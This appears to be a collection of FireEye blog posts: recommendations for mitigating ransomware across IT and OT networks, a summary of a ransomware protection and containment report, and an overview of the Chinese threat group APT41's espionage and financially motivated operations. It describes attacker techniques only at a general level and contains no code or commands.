#### Mitigating the Effects of Ransomware Requires Defenses Across IT and OT

Threat actors deploying ransomware have made rapid advances both in terms of effectiveness and as a criminal business model, imposing high operational costs on victims. We encourage all organizations to evaluate their safety and industrial risks related to ransomware attacks. Note that these recommendations will also help to build resilience in the face of other threats to business operations (e.g., cryptomining malware infections). While every case will differ, we highlight the following recommendations.

For custom services and actionable intelligence in both IT and OT, contact FireEye Mandiant Consulting, Managed Defense, and Threat Intelligence.

• Conduct tabletop and/or controlled red team exercises to assess the current security posture and ability of your organization to respond to the ransomware threat. Simulate attack scenarios (mainly in non-production environments) to understand how the incident response team can (or cannot) detect, analyze, and recover from such an attack. Revisit recovery requirements based on the exercise results. In general, repeatedly practicing various threat scenarios will improve awareness and ability to respond to real incidents.
• Review operations, business processes, and workflows to identify assets that are critical to maintaining continuous industrial operations. Whenever possible, introduce redundancy for critical assets with low tolerance to downtime. The right amount and type of redundancy is unique for each organization and can be determined through risk assessments and cost-benefit analyses. Note that such analyses cannot be conducted without involving business process owners and collaborating across IT and OT.
• Logically segregate primary and redundant assets either by a network-based or host-based firewall with subsequent asset hardening (e.g., disabling services typically used by ransomware for its propagation, like SMB, RDP, and WMI). In addition to creating policies to disable unnecessary peer-to-peer and remote connections, we recommend routine auditing of all systems that potentially host these services and protocols. Note that such architecture is generally more resilient to security incidents.
• When establishing a rigorous back-up program, special attention should be paid to ensuring the security (integrity) of backups. Critical backups must be kept offline or, at minimum, on a segregated network.
• Optimize recovery plans in terms of recovery time objective. Introduce required alternative workflows (including manual) for the duration of recovery. This is especially critical for organizations with limited or no redundancy of critical assets. When recovering from backups, harden recovered assets and the entire organization's infrastructure to prevent recurring ransomware infection and propagation.
• Establish clear ownership and management of OT perimeter protection devices to ensure emergency, enterprise-wide changes are possible. Effective network segmentation must be maintained during containment and active intrusions.
• Hunt for adversary intrusion activity in intermediary systems, which we define as the networked workstations and servers using standard operating systems and protocols. While the systems are further away from direct control of physical processes, there is a much higher likelihood of attacker presence.
• Note, that every organization is different, with unique internal architectures and processes, stakeholder needs, and customer expectations. Therefore, all recommendations should be carefully considered in the context of the individual infrastructures. For instance, proper network segmentation is highly advisable for mitigating the spread of ransomware. However, organizations with limited budgets may instead decide to leverage redundant asset diversification, host-based firewalls, and hardening as an alternative to segregating with hardware firewalls.

# Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment

UPDATE (Oct. 30, 2020): We have updated the report to include additional protection and containment strategies based on front-line visibility and response efforts in combating ransomware. While the full scope of recommendations included within the initial report remain unchanged, the following strategies have been added into the report:

• Windows Firewall rule configurations to block specific binaries from establishing outbound connections from endpoints
• Domain Controller isolation and recovery planning steps
• Proactive GPO permissions review and monitoring guidance

Ransomware is a global threat targeting organizations in all industries. The impact of a successful ransomware event can be material to an organization - including the loss of access to data, systems, and operational outages. The potential downtime, coupled with unforeseen expenses for restoration, recovery, and implementation of new security processes and controls can be overwhelming. Ransomware has become an increasingly popular choice for attackers over the past few years, and it’s easy to understand why given how simple it is to leverage in campaigns – while offering a healthy financial return for attackers.

In our latest report, Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment, we discuss steps organizations can proactively take to harden their environment to prevent the downstream impact of a ransomware event. These recommendations can also help organizations with prioritizing the most important steps required to contain and minimize the impact of a ransomware event after it occurs.

Ransomware is commonly deployed across an environment in two ways:

1. Manual propagation by a threat actor after they’ve penetrated an environment and have administrator-level privileges broadly across the environment:
• Manually run encryptors on targeted systems.
• Deploy encryptors across the environment using Windows batch files (mount C\$ shares, copy the encryptor, and execute it with the Microsoft PsExec tool).
• Deploy encryptors with Microsoft Group Policy Objects (GPOs).
• Deploy encryptors with existing software deployment tools utilized by the victim organization.
2. Automated propagation:
• Credential or Windows token extraction from disk or memory.
• Trust relationships between systems – and leveraging methods such as Windows Management Instrumentation (WMI), SMB, or PsExec to bind to systems and execute payloads.
• Unpatched exploitation methods (e.g., EternalBlue – addressed via Microsoft Security Bulletin MS17-010).

The report covers several technical recommendations to help organizations mitigate the risk of and contain ransomware events including:

• Endpoint segmentation
• Hardening against common exploitation methods
• Reducing the exposure of privileged and service accounts

If you are reading this report to aid your organization’s response to an existing ransomware event, it is important to understand how the ransomware was deployed through the environment and design your ransomware response appropriately. This guide should help organizations in that process.

*Note: The recommendations in this report will help organizations mitigate the risk of and contain ransomware events. However, this report does not cover all aspects of a ransomware incident response. We do not discuss investigative techniques to identify and remove backdoors (ransomware operators often have multiple backdoors into victim environments), communicating and negotiating with threat actors, or recovering data once a decryptor is provided.

# APT41: A Dual Espionage and Cyber Crime Operation

Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.

The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).

#### Who Does APT41 Target?

Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.

The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.

Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.

A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.

Figure 1: Timeline of industries directly targeted by APT41

#### Probable Chinese Espionage Contractors

Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.

Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.

Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012

#### The Right Tool for the Job

APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.

APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.

#### Fast and Relentless

APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.

The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.